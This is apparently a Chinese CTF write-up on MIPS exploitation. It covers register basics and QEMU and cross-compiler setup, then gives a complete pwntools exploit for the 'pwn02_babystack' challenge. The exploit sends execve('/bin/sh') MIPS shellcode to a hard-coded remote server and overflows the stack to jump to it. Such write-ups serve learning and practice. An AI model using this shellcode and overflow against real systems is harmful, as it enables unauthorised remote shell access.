mips pwn

记录下mips架构环境的搭建和利用

0x0 mips基本知识

  • a0-a3: 存储参数
  • fp: fram pointer,用来恢复栈之类的操作,可以理解为和ebp差不多的作用
  • sp: 存储栈地址
  • v0...: 存储一些变量或地址
  • t8,t9: 临时寄存器,t9常常用来调用函数。如alarmplt调用如下

0x1 交叉编译环境

大端

1
2
3
4
sudo apt-get install linux-libc-dev-mips-cross 
sudo apt-get install libc6-mips-cross libc6-dev-mips-cross
sudo apt-get install binutils-mips-linux-gnu gcc-mips-linux-gnu
sudo apt-get install g++-mips-linux-gnu

小端

1
2
3
4
sudo apt-get install linux-libc-dev-mipsel-cross
sudo apt-get install libc6-mipsel-cross libc6-dev-mipsel-cross
sudo apt-get install binutils-mipsel-linux-gnu gcc-mipsel-linux-gnu
sudo apt-get install g++-mipsel-linux-gnu

qemu有一个参数是是-L

1
-L path       QEMU_LD_PREFIX    set the elf interpreter prefix to 'path'

通过这个我们可以指定lib所在的位置,进入/usr可以看到mips库所在的位置

1
2
wood@ubuntu:~/pwn/mips/magicheap$ ls /usr/
bin games include lib libexec local locale mipsel-linux-gnu mips-linux-gnu sbin share src

假设我们手头有一个mips小端的程序,我们就可以通过以下参数启动它。

1
qemu-mipsel -L /usr/mipsel-linux-gnu/ ./hello

pwn02_babystack

准备工作

这里采用qemu的用户模式来创建一个虚拟机执行程序。

先把对应的libc库放置当前目录的一个lib文件夹中

1
2
3
mkdir lib 
sudo mv libc.so.1 ./lib/
sudo mv ld-uClibc.so.0 ./lib/

启动虚拟机

1
qemu-mipsel -L ./ ./main

调试

1
qemu-mipsel -L ./ ./main

然后另开一个终端(用pwndbg调试起来比较友好)

1
2
gdb-multiarch ./main
gdb> target remote localhost:1234

题目分析

很简单,就是一个栈溢出然后执行shellcode就好了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.arch='mips'
context.log_level = 'debug'
#sh= process(["qemu-mipsel", "-g", "1234", "-L", "./lib","./main"])
sh = remote('111.231.70.44',28099)
context.arch='mips'
context.os='linux'
context.update(bits = 32, endian = 'little')
ret_addr = 0x400860
sh.recvuntil('Now,Input Your Name:\n')
shellcode = ""
shellcode += "\x66\x06\x06\x24\xff\xff\xd0\x04\xff\xff\x06\x28\xe0"
shellcode += "\xff\xbd\x27\x01\x10\xe4\x27\x1f\xf0\x84\x24\xe8\xff"
shellcode += "\xa4\xaf\xec\xff\xa0\xaf\xe8\xff\xa5\x27\xab\x0f\x02"
shellcode += "\x24\x0c\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x00"
sh.sendline(shellcode)
sh.recvuntil('Input Your message:\n')
sh.sendline('a'*0x34 + p32(0x410C20))
sh.interactive()
-------------本文结束感谢您的阅读-------------
+ +